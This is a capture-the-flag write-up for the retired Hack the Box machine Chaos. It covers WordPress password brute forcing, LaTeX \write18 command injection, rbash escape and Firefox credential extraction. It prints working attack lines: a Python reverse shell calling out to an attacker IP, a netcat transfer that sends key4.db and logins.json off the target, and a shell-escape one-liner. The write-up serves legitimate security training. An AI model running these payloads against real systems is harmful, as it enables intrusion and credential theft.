Hack the Box Writeup - Chaos

Guide to retired Hack the Box machine, Chaos. Lot's of steps involving some password bruteforcing using Burp Intruder and an interesting exploitation of LaTeX.

Hack the Box Writeup - Chaos

Next box up is the retired Hack the Box machine Chaos. Lot's of steps to this one which can send you down some rabbit holes. Let's get right into it.

Enumeration

Fire up the trusty nmap and see what we can see.

nmap -sC -sV -p- -oA scan 10.10.10.120

Quite a few ports open on this one. We have a web server on port 80, then we have POP3 and IMAP ports open, and finally a Webmin server on port 10000.

Browsing directly to the IP address just tells us that "Direct IP not allowed". Lets add the IP address to our /etc/hosts file for chaos.htb and take another look.

Browsing to the new URL gives us a website for what looks to be some form of security company. There seems to be nothing immediately vulnerable however, so lets dig out gobuster.

gobuster -u http://chaos.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 50

Unfortunately again, nothing seems to be immediately useful to us - so lets try gobuster one more time, but this time using the IP instead of the host name.

gobuster -u http://10.10.10.120 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 50

Well that looks a little more promising, could that /wp be a wordpress installation?

It is! Browsing around the site leads us to a password protected post. Lets see if we can crack the password.

Cracking

We will use cewl to generate a wordlist for us.

cewl http://10.10.10.120/wp/wordpress > wordlist

Now fire up Burp Suite and set the scope to http://10.10.10.120. Set your browser to use burp as the proxy and then submit a test password to capture the http post request.

Once captured, right click on it and "Send to Intruder". Now go into the "positions" tab and clear what has been auto selected, then highlight the temporary password you entered and click "Add".

Now in the payloads tab, we can leave the payload type as "simple list" and then load up our wordlist generated from cewl.

Finally in the options tab we need to make a few changes due to the way that Wordpress works. Under the redirections section we need to enable "Follow redirections", and we need to "Process cookies in redirections".

Now we can click "Start Attack" and go make a cup of tea, unless you have the licensed version in which case it will finish rather quickly.

Once it's finished, if we sort by the length column we should see one entry which has a different length to all the others.

We have our password! Entering it into the Wordpress site gives us some more useful information; credentials for an email account.

Referring back to our nmap scan we can see lots of email ports are open, so lets see if we can connect to any of them using our new information.

To keep things straightforward we will try using the Evolution email client - if it's not installed a simple apt install evolution will get it onto your machine.

Once you have fired it up, we need to add the email account. Enter the email address as [email protected] and the username as just ayush. Any time it asks for a server address, just use 10.10.10.120. The defaults for every other option is fine.

After finishing that, it will ask you for the account's password, enter it and the account should now be set up.

The inbox of the account is empty however, so we have to go digging around. We eventually find an email in the Drafts folder.

Decryption

OK, so we have an encrypted file, and some Python code which was used to encrypt the original information. Let's download them and take a closer look.

def encrypt(key, filename):
    chunksize = 64*1024
    outputFile = "en" + filename
    filesize = str(os.path.getsize(filename)).zfill(16)
    IV = Random.new().read(16)

    encryptor = AES.new(key, AES.MODE_CBC, IV)

    with open(filename, 'rb') as infile:
        with open(outputFile, 'wb') as outfile:
            outfile.write(filesize.encode('utf-8'))
            outfile.write(IV)

            while True:
                chunk = infile.read(chunksize)

                if len(chunk) == 0:
                    break
                elif len(chunk) % 16 != 0:
                    chunk += b' ' * (16 - (len(chunk) % 16))

                outfile.write(encryptor.encrypt(chunk))

def getKey(password):
    hasher = SHA256.new(password.encode('utf-8'))
    return hasher.digest()

So reading this code, we can see what's happening.

First the size of the file being encrypted is calculated and an Initialisation Vector (IV) generated. The IV and password key (which has been hashed using SHA256) are then used to create an AES encryptor.

The filesize and IV are then written to the beginning of the encrypted file.

Next the file is broken into chunks of a specific size, encrypted using the AES encryptor and written into the file. If the chunk is smaller than the specified size then it is padded with spaces. This is due to AES being a block cipher so each block being encrypted has to be the same size.

Armed with this information we can write some python to do the reverse and decrypt our mystery file.

#!/usr/bin/python3

from Crypto.Cipher import AES
from Crypto.Hash import SHA256

def getKey(password):
    hasher = SHA256.new(password.encode('utf-8'))
    return hasher.digest()

def decrypt_file(filename, key):
    chunksize = 64*1024
    outputfile = filename.split('.')[0]

    with open(filename, 'rb') as infile:
        origsize = int(infile.read(16))
        IV = infile.read(16)
        
        decryptor = AES.new(key, AES.MODE_CBC, IV)

        with open(outputfile, 'wb') as outfile:
            while True:
                chunk = infile.read(chunksize)
                if len(chunk) == 0:
                    break
                outfile.write(decryptor.decrypt(chunk))
            outfile.truncate(origsize)
        
if __name__ == "__main__":
    key = getKey("sahay")
    decrypt_file('enim_msg.txt', key)

For the password, the clue is in the email we downloaded. It says "You are the password XD.", and at the start of the email it refers to the receiver by name, so we use that.

That output looks like base 64, so lets decode it.

cat enim_msg | base64 --decode

Hmm,  a new URL.

Entering text, selecting a template and clicking the "Create PDF" doesn't seem to do anything so lets take a look at what's actually going on using Burp.

On clicking the button there is a post request being made so we can capture that and send it to the repeater to play around with it.

It seems our entered text is being written into a tex file and being parsed by pdfTeX to produce a PDF. However the template test1 appears to be broken. Templates test2 and test3 do actually produce PDFs.

Exploitation

After some research, it seems that LaTeX compilers have the ability to run commands directly on the OS when parsing tex files.

This blog post by Sebastian Neef was very useful: https://0day.work/hacking-with-latex/

If we change our content parameter to \immediate\write18{env} and submit it, you can see that the command env is executed and because the LaTeX log is being returned in the response we can see the output!

Now we have remote command execution it's time to get a shell.

It seems the LaTeX parsing has an issue with the > character so it limits which reverse shell command we can use, but after some trial and error we hit upon a Python reverse shell which does the trick.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.54",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Let's make our shell a nicer place to work in with the python spawn trick.

python -c 'import pty; pty.spawn("/bin/bash")'

Now we have a proper shell, we can use su to become the ayush user we already have the credentials for.

Unfortunately it seems the user ayush has a very restricted shell - which we can confirm using the LaTeX exploit to cat /etc/passwd. The user is stuck with an rbash shell :(

Escape

So now we need to escape this shell. After some more research I came across this document on exploit-db:

https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf

Working our way through the various techniques, we finally found one that works.

tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

Now we have full command access, but the PATH variable is missing so lets fix that.

export PATH=/bin:/usr/bin:$PATH

And with that we finally have the first flag! Phew.

Privilege Escalation

OK, after that epic journey just to get the first flag it's time to get root.

Looking in our home directory we can see a hidden folder, .mozilla. Maybe we can use the same techniques we used previously on the machine, Crimestoppers?

Digging into the folder we found a profile directory which contains the files key4.db and logins.json.

So lets get them back on our machine.

$ nc -nlvp 8888 > key4.db # attacker's machine
$ nc -nv 10.10.14.54 8888 < key4.db # chaos machine
$ nc -nlvp 8888 > logins.json # attacker's machine
$ nc -nv 10.10.14.54 8888 < logins.json # chaos machine

If you don't already have the tool from following along with Crimestoppers, then download the tool firepwd from github.

Once downloaded, copy the key4.db and logins.json into the same folder, and then run with the following command:

python firepwd.py --password=jiujitsu

Note: If like me you didn't supply the password the first time you tried the tool you will get a very cryptic error message!

And there we have our root password. A quick su later and we're root!